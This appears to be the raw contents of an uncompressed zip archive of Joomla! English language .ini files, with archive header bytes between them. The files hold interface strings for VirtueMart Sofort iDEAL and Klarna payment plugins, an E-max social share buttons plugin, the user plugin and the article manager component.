VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_ACCOUNT_NUMBER="Account number of the sender" VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_ACCOUNT_NUMBER_XXX="Account number of the sender" VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_BANK_NAME="Bank name of the sender" VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_BANK_BIC="BIC of the sender" VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_IBAN="IBAN of the sender" VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_COUNTRY_ID="Country id of the sender" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_HOLDER="Recipient holder" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_ACCOUNT_NUMBER="Recipient account number" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_BANK_CODE="Recipient bank code" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_BANK_NAME="Recipient bank name" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_BANK_BIC="Recipient BIC" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_IBAN="Recipient IBAN" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_RECIPIENT_COUNTRY_ID="Recipient country id" VMPAYMENT_SOFORT_IDEAL_RESPONSE_AMOUNT="Invoice amount" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_AMOUNT_INTEGER="Invoice amount integer" VMPAYMENT_SOFORT_IDEAL_RESPONSE_CREATED="Date of the transaction" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS="Real payment status" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_REASON="Status reason" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_MODIFIED="Modification date of the status" VMPAYMENT_SOFORT_IDEAL_RESPONSE_AMOUNT_REFUNDED="Refunded amount" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_AMOUNT_REFUNDED_INTEGER="Refunded amount (integer)" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_CONFIRMED="The transaction was successfully concluded." VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_PENDING="The bank has not yet confirmed the transaction. You will receive notification when the status has changed." VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_CANCELED="The transaction has not been able to be concluded." VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_REFUNDED="Transaction refunded" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_COMPENSATION="Transaction is partially refunded" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_REASON_REFUNDED="Transaction refunded" VMPAYMENT_SOFORT_IDEAL_RESPONSE_STATUS_REASON_COMPENSATION="Transaction partially refunded" PK@y>\ľ4language/en-GB/en-GB.plg_quickicon_eosnotify.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_EOSNOTIFY="End of Support Notifier" PK@y>\C+pp1language/en-GB/en-GB.plg_vmpayment_klarna.sys.ininuW+A; $Id: en-GB.plg_vmpayment_klarna.sys.ini 7337 2013-11-05 11:13:52Z alatak $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_KLARNA="Vm Payment plugin Klarna" PK@y>\:Vl9l97language/en-GB/en-GB.plg_content_socialsharebuttons.ininuW+A; $Id: en-GB.plg_content_socialsharebuttons.ini 2011-05-22 19:00:30 ; Copyright (C) 2011 E-max. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php PLG_CONTENT_SOCIALSHAREBUTTONS_DESCRIPTION="

      E-max Social Share Buttons Plugin

      www.e-max.it

      Documentation web page

      Version 1.1

      E-max social share buttons is a simple and free plugin that allow you to display social share buttons (twitter, retweet, facebook like, facebook send, facebook share me, google buzz, google plus one, linkedin, digg, stumble upon) in a very customized way.

      The options are very easy and straightforward, you can:

      Show social share buttons over selected articles in one or more categories or sections just selecting "position - top" in the plugin options.
      Show social share buttons under selected articles in one or more categories or sections just selecting "_QQ_"position - bottom"_QQ_" in the plugin options.
      Show social share buttons over and under selected articles in one or more categories or sections just selecting "position - both" in the plugin options.
      Show social share buttons everywhere you like in your joomla site selecting "_QQ_"custom - yes"_QQ_" in the plugin options and using this code in articles: {socialsharebuttons}

      In the plugin options you can also select:

      Show in articles: and the plugin will be shown in article view
      Show in categories: and the plugin will be shown in category view
      Show in setions: and the plugin will be shown in section view
      Show in frontpage: and the plugin will be shown in frontpage view

      For more accurate customization you can also exclude sections, categories and articles:

      exclude sections: just write in this option the sections id to be excluded (comma separated) to exclude sections
      exclude categories: just write in this option the categories id to be excluded (comma separated) to exclude categories
      exclude articles: just write in this option the articles id to be excluded (comma separated) to exclude articles

      You can even select several articles to be shown even if their sections or categories are excluded:

      Display in that articles: just write in this option the articles to be shown by writing down the articles id (comma separated)

      You can select the social share buttons that you want to display, and every social share button has several options and you can customize it very precisely (show, hide, type, language, alignment, color, and many more).

      We have developed this plugin for our client's needs, and we hope you'll find it useful.

      For maximum customization you can use it in combination with e-max social share buttons module.

      Enjoy!

      Agenzia Web

      " PLG_CONTENT_SOCIALSHAREBUTTONS_CUSTOM="Custom mode" PLG_CONTENT_SOCIALSHAREBUTTONS_CUSTOM_DESC="if 'Yes' put in the content {socialsharebuttons} where do you want to view the buttons." PLG_CONTENT_SOCIALSHAREBUTTONS_POSITION="Position" PLG_CONTENT_SOCIALSHAREBUTTONS_POSITION_DESC="A position where you want to put buttons." PLG_CONTENT_SOCIALSHAREBUTTONS_BOTH="Both" PLG_CONTENT_SOCIALSHAREBUTTONS_TOP="Top" PLG_CONTENT_SOCIALSHAREBUTTONS_BOTTOM="Bottom" PLG_CONTENT_SOCIALSHAREBUTTONS_NOTHING="Nothing" PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_ARTICLE="Show In Articles" PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_ARTICLE_DESC="Display buttons in the view 'article'." PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_CATEGORY="Show In Categories" PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_CATEGORY_DESC="Display buttons in the view 'category'." PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_SECTION="Show In Sections" PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_SECTION_DESC="Display buttons in the view 'section'." PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_FRONTPAGE="Show In FrontPage" PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW_FRONTPAGE_DESC="Display buttons in the view 'frontpage'." PLG_CONTENT_SOCIALSHAREBUTTONS_EXCLUDE_SECTION="Exclude sections" PLG_CONTENT_SOCIALSHAREBUTTONS_EXCLUDE_SECTION_DESC="List with excluded sections divided by comma. You must enter the IDs of sections." PLG_CONTENT_SOCIALSHAREBUTTONS_EXCLUDE_CATEGORY="Exclude categories" PLG_CONTENT_SOCIALSHAREBUTTONS_EXCLUDE_CATEGORY_DESC="List with excluded categories divided by comma. You must enter the IDs of categories." PLG_CONTENT_SOCIALSHAREBUTTONS_EXCLUDE_ARTICLE="Exclude articles" PLG_CONTENT_SOCIALSHAREBUTTONS_EXCLUDE_ARTICLE_DESC="List of excluded articles divided by comma. You must enter the IDs of articles." PLG_CONTENT_SOCIALSHAREBUTTONS_INCLUDE_ARTICLE="Display in that articles" PLG_CONTENT_SOCIALSHAREBUTTONS_INCLUDE_ARTICLE_DESC="Displays the buttons in these articles notwithstanding the exclusion settings. You must enter the IDs of articles." PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_TITLE="================ TWITTER SETTINGS ===============" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_BUTTON="Twitter Button" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_BUTTON_DESC="Show or hide Twitter buttons." PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_NAME="Twitter Name" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_NAME_DESC="Enter the name of your Twitter account." PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_COUNTER="Twitter Counter" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_COUNTER_DESC="Show or hide Twitter counter." PLG_CONTENT_SOCIALSHAREBUTTONS_HIDE="Hide" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_VERTICAL="Vertical" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_HORIZONTAL="Horizontal" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_LANG="Twitter Language" PLG_CONTENT_SOCIALSHAREBUTTONS_TWITTER_LANG_DESC="Choose the language of the Twitter button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_TITLE="========== FACEBOOK SHARE ME SETTINGS =========" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_BUTTON="FB ShareMe Button" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_BUTTON_DESC="Show or hide Facebook ShareMe button." PLG_CONTENT_SOCIALSHAREBUTTONS_SHOW="Show" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_TYPE="FB ShareMe Type" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_TYPE_DESC="The type of your Facebook ShareMe button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_LARGE="Large" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_SMALL="Small" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_TEXT_COLOR="FB ShareMe Text Colour" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_TEXT_COLOR_DESC="The colour of the badge text." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_COLOR="FB ShareMe Colour" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SHAREME_COLOR_DESC="The colour of the badge." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_TITLE="============= FACEBOOK LIKE SETTINGS ============" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_BUTTON="Facebook Like Button" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_BUTTON_DESC="Show or hide Facebook Like button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_RENDERER="Facebook Like Renderer" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_RENDERER_DESC="Choose the renderer of your Facebook Like button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_BUTTON_TEXT="Facebook Button Text" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_BUTTON_TEXT_DESC="The verb to display on the button. Options: 'like', 'recommend' " PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_LIKE="Like" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_RECOMMEND="Recommend" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_TYPE="Facebook Like Type" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_TYPE_DESC="The type of your Facebook Like button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_STANDARD="Standard" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_BOX_COUNT="Box count" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_BUTTON_COUNT="Button count" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_FACES="Facebook Show Faces" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_FACES_DESC="Show or hide faces of people." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_COLOR="Facebook Like Colour" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_COLOR_DESC="Choose the colour schema of the like button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_LIGHT="Light" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_DARK="Dark" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_FONT="Facebook Like Font" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_FONT_DESC="The font to display in the button. Options: 'Arial', 'Lucida Grande', 'Segoe UI', 'Tahoma', 'Trebuchet ms', 'Verdana'" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_WIDTH="Facebook Like Width" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_WIDTH_DESC="Enter the width of your Facebook Like button." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_AUTO_LANGUAGE="Auto language" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_AUTO_LANGUAGE_DESC="If you set 'Yes' the plugin will take Joomla! locale settings automatically." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_LANGUAGE="Language" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_LANGUAGE_DESC="A list with locations and language for the button. Default location - English [en_US]." PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_TITLE="================= DIGG SETTINGS =================" PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_BUTTON="Digg Button" PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_BUTTON_DESC="Show or hide Digg buttons." PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_TYPE="Digg Type" PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_TYPE_DESC="The type of your Digg button." PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_WIDE="Wide" PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_MEDIUM="Medium" PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_COMPACT="Compact" PLG_CONTENT_SOCIALSHAREBUTTONS_DIGG_ICON="Icon" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_TITLE="============= STUMBLEUPON SETTINGS =============" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_BUTTON="StumbleUpon Button" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_BUTTON_DESC="Show or hide StumbleUpon button." PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_TYPE="StumbleUpon Type" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_TYPE_DESC="The type of your StumbleUpon button." PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_STYLE1="Style 1" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_STYLE2="Style 2" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_STYLE3="Style 3" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_STYLE4="Style 4" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_STYLE5="Style 5" PLG_CONTENT_SOCIALSHAREBUTTONS_STUMBLE_STYLE6="Style 6" PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_TITLE="=============== LINKEDIN SETTINGS ===============" PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_BUTTON="LinkedIn Button" PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_BUTTON_DESC="Show or hide LinkedIn button." PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_TYPE="LinkedIn Type" PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_TYPE_DESC="The type of your LinkedIn button." PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_COUNTER_NONE="Counter None" PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_COUNTER_TOP="Counter Top" PLG_CONTENT_SOCIALSHAREBUTTONS_LINKEDIN_COUNTER_RIGHT="Counter Right" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_TITLE="================= BUZZ SETTINGS ================" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_BUTTON="Buzz Button" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_BUTTON_DESC="Show or hide Buzz button." PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_STYLE="Buzz Button Style" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_STYLE_DESC="Choose a Buzz button style." PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_SMALL_COUNT="Small count" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_NORMAL_COUNT="Normal count" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_SMALL_BUTTON="Small button" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_NORMAL_BUTTON="Normal button" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_LINK="Link" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_LANGUAGE="Buzz Language" PLG_CONTENT_SOCIALSHAREBUTTONS_BUZZ_LANGUAGE_DESC="Choose a Buzz language." PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_TITLE="============== RETWEETME SETTINGS ==============" PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_BUTTON="ReTweetMe Button" PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_BUTTON_DESC="Show or hide ReTweetMe button." PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_STYLE="ReTweetMe Button Style" PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_STYLE_DESC="Choose a ReTweetMe button style." PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_COMPACT="Compact" PLG_CONTENT_SOCIALSHAREBUTTONS_RETWEETME_NORMAL="Normal" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_TITLE="============== GOOGLE +1 SETTINGS ==============" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_BUTTON="Google Plus One" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_BUTTON_DESC="Show or hide Plus One button." PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_STYLE="Plus One Button Style" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_STYLE_DESC="Choose a Plus One button style." PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_SMALL="Small (15px)" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_STANDARD="Standard (24px)" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_MEDIUM="Medium (20px)" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_TALL="Tall (60px)" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_LANGUAGE="Plus One Language" PLG_CONTENT_SOCIALSHAREBUTTONS_GOOGLE_PLUSONE_LANGUAGE_DESC="Choose a Plus One language." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_LIKE_ADV_TITLE="======= FACEBOOK LIKE ADVANCED SETTINGS =======" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_APP_ID="Facebook App ID" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_APP_ID_DESC="Enter the ID of the your domain name. For more information read the documentation." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SEND="Facebook Send Buttons" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_SEND_DESC="Specifies whether to include a 'Send button' with the Like button. This only works with the XFBML version." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_ROOT="Facebook Root Div" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_ROOT_DESC="Put a FB root div element into the page code." PLG_CONTENT_SOCIALSHAREBUTTONS_FB_JS="Load Facebook JS library" PLG_CONTENT_SOCIALSHAREBUTTONS_FB_JS_DESC="Pass loading the Facebook JavaScript library 'All.js'. It works only with XFBML. Thus avoiding repeated loading library, if you are using other Facebook widgets. Accelerating the speed of the site and avoid conflicts between the Facebook widgets." PLG_CONTENT_SOCIALSHAREBUTTONS_NO="No" PLG_CONTENT_SOCIALSHAREBUTTONS_YES="Yes" PLG_CONTENT_SOCIALSHAREBUTTONS_CREDITS="Credits" PLG_CONTENT_SOCIALSHAREBUTTONS_CREDITS_DESC="Show the plugins credits" PK@y>\C9G1UU,language/en-GB/en-GB.plg_user_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="User - Joomla!" PLG_USER_JOOMLA_XML_DESCRIPTION="Handles Joomla!'s default User synchronisation"PK@y>\ja11$language/en-GB/en-GB.com_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Articles" COM_CONTENT_ACCESS_DELETE_DESC="New setting for delete actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ACCESS_EDIT_DESC="New setting for edit actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ACCESS_EDITSTATE_DESC="New setting for edit state actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ARTICLE_DETAILS="Article Details" COM_CONTENT_ARTICLES_TITLE="Article Manager: Articles" COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL="Article Options" COM_CONTENT_ATTRIBS_FIELDSET_LABEL="Article Options" COM_CONTENT_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_CONTENT_BATCH_OPTIONS="Batch process the selected articles" COM_CONTENT_BATCH_TIP="If choosing to copy an article, any other actions selected will be applied to the copied article. Otherwise, all actions are applied to the selected article." COM_CONTENT_CHANGE_ARTICLE="Select or Change article" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change" COM_CONTENT_CHOOSE_CATEGORY_DESC="Select a parent category" COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC="These settings apply for article layouts unless they are changed for a specific menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC="These settings apply for blog or featured layouts unless they are changed for a specific menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL="Blog / Featured Layouts" COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC="These settings apply for Articles Categories Options, unless they are changed by the individual category or menu settings." COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC="These settings apply for Articles Category Options unless they are changed by the individual category or menu settings." COM_CONTENT_CONFIG_EDITOR_LAYOUT="These options control the layout of the article editing page." COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Article Component will integrate with other extensions." COM_CONTENT_CONFIG_LIST_SETTINGS_DESC="These settings apply for List Layouts Options unless they are changed for a specific menu item or category." COM_CONTENT_CONFIGURATION="Article Manager Options" COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL="Default category" COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC="If set to 'Yes', this page will only let you create articles in the category selected below." COM_CONTENT_DRILL_CATEGORIES_LABEL="List or Blog: after choosing the display,
      make sure you define the Options in the desired layout." COM_CONTENT_DRILL_DOWN_LAYOUT_DESC="When drilling down to a category, whether to show articles in a list or blog layout." COM_CONTENT_DRILL_DOWN_LAYOUT_LABEL="List or Blog Layout" COM_CONTENT_EDIT_ARTICLE="Edit Article" COM_CONTENT_EDITING_LAYOUT="Editing Layout" COM_CONTENT_FEATURED="Featured article" COM_CONTENT_FEATURED_CATEGORIES_DESC="Optional list of categories. If selected, only featured articles from the selected categories will show. Use Ctrl+Click to select or unselect." COM_CONTENT_FEATURED_CATEGORIES_LABEL="Select Categories" COM_CONTENT_FEATURED_ORDER="Featured Articles Order" COM_CONTENT_FEATURED_TITLE="Article Manager: Featured Articles" COM_CONTENT_FIELD_ARTICLETEXT_DESC="Enter the article content in the text-area" COM_CONTENT_FIELD_ARTICLETEXT_LABEL="Article Text" COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC="You can enter here an alias to be displayed instead of the name of the user who created the article." COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL="Created by alias" COM_CONTENT_FIELD_CREATED_BY_DESC="You can change here the name of the user who created the article." COM_CONTENT_FIELD_CREATED_BY_LABEL="Created by" COM_CONTENT_FIELD_CREATED_DESC="Created Date" COM_CONTENT_FIELD_CREATED_LABEL="Created Date" COM_CONTENT_FIELD_FEATURED_DESC="Assign the article to the featured blog layout" COM_CONTENT_FIELD_FULL_DESC="Image for the single article display" COM_CONTENT_FIELD_FULL_LABEL="Full article image" COM_CONTENT_FIELD_HITS_DESC="Number of hits for this article" COM_CONTENT_FIELD_IMAGE_DESC="The image to be displayed" COM_CONTENT_FIELD_IMAGE_ALT_DESC="Alternative text used for visitors without access to images. Replaced with caption text if it is present." COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Alt text" COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Caption attached to the image" COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Caption" COM_CONTENT_FIELD_INTRO_DESC="Image for the intro text layouts such as blogs and featured" COM_CONTENT_FIELD_INTRO_LABEL="Intro Image" COM_CONTENT_FIELD_LANGUAGE_DESC="The language that the article is assigned to." COM_CONTENT_FIELD_MODIFIED_DESC="The date and time that the article was last modified." COM_CONTENT_FIELD_OPTION_ABOVE="Above" COM_CONTENT_FIELD_OPTION_BELOW="Below" COM_CONTENT_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the article." COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_CONTENT_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the article." COM_CONTENT_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_CONTENT_FIELD_SELECT_ARTICLE_DESC="Select the desired article from the list." COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL="Select Article" COM_CONTENT_FIELD_URL_DESC="The actual link to which users will be redirected. Must be a full URL including http:// or other protocol (for example http://joomla.org)." COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Text to display for the link" COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Link Text" COM_CONTENT_FIELD_URLA_LABEL="Link A" COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Link A Text" COM_CONTENT_FIELD_URLB_LABEL="Link B" COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Link B Text" COM_CONTENT_FIELD_URLC_LABEL="Link C" COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Link C Text" COM_CONTENT_FIELD_URLSPOSITION_LABEL="Positioning of the Links" COM_CONTENT_FIELD_URLSPOSITION_DESC="Display the links above or below the content" COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS="Use Article Settings" COM_CONTENT_FIELD_VERSION_DESC="A count of the number of times this article has been revised." COM_CONTENT_FIELD_VERSION_LABEL="Revision" COM_CONTENT_FIELD_XREFERENCE_DESC="An optional reference used to link to external data sources." COM_CONTENT_FIELD_XREFERENCE_LABEL="External Reference" COM_CONTENT_FIELDSET_PUBLISHING="Publishing Options" COM_CONTENT_FIELDSET_RULES="Article Permissions" COM_CONTENT_FIELDSET_URLS_AND_IMAGES="Images and links" COM_CONTENT_FILTER_SEARCH_DESC="Search title or alias. Prefix with ID: to search for an article ID." COM_CONTENT_FLOAT_DESC="Controls placement of the image" COM_CONTENT_FLOAT_FULLTEXT_LABEL="Full Text Image Float" COM_CONTENT_FLOAT_LABEL="Image Float" COM_CONTENT_FLOAT_INTRO_LABEL="Intro Image Float" COM_CONTENT_ID_LABEL="ID" COM_CONTENT_LEFT="Left" COM_CONTENT_MONTH="Month" COM_CONTENT_N_ITEMS_ARCHIVED="%s articles archived." COM_CONTENT_N_ITEMS_ARCHIVED_1="%s article archived." COM_CONTENT_N_ITEMS_CHECKED_IN_0="No article successfully checked in" COM_CONTENT_N_ITEMS_CHECKED_IN_1="%d article successfully checked in" COM_CONTENT_N_ITEMS_CHECKED_IN_MORE="%d articles successfully checked in" COM_CONTENT_N_ITEMS_DELETED="%s articles deleted." COM_CONTENT_N_ITEMS_DELETED_1="%s article deleted." COM_CONTENT_N_ITEMS_PUBLISHED="%s articles published." COM_CONTENT_N_ITEMS_PUBLISHED_1="%s article published." COM_CONTENT_N_ITEMS_TRASHED="%s articles trashed." COM_CONTENT_N_ITEMS_TRASHED_1="%s article trashed." COM_CONTENT_N_ITEMS_UNPUBLISHED="%s articles unpublished." COM_CONTENT_N_ITEMS_UNPUBLISHED_1="%s article unpublished." COM_CONTENT_NEW_ARTICLE="New Article" COM_CONTENT_NO_ARTICLES_DESC="If Show, the message 'There are no articles in this category' will display when there are no articles in the category or when 'Empty Categories' is set to show." COM_CONTENT_NO_ARTICLES_LABEL="No Articles Message" COM_CONTENT_NONE="None" COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC="If Show, the number of articles in the category will show." COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL="# Articles in Category" COM_CONTENT_PAGE_ADD_ARTICLE="Article Manager: Add New Article" COM_CONTENT_PAGE_EDIT_ARTICLE="Article Manager: Edit Article" COM_CONTENT_PAGE_VIEW_ARTICLE="Article Manager: View Article" COM_CONTENT_PAGEBREAK_DOC_TITLE="Page Break" 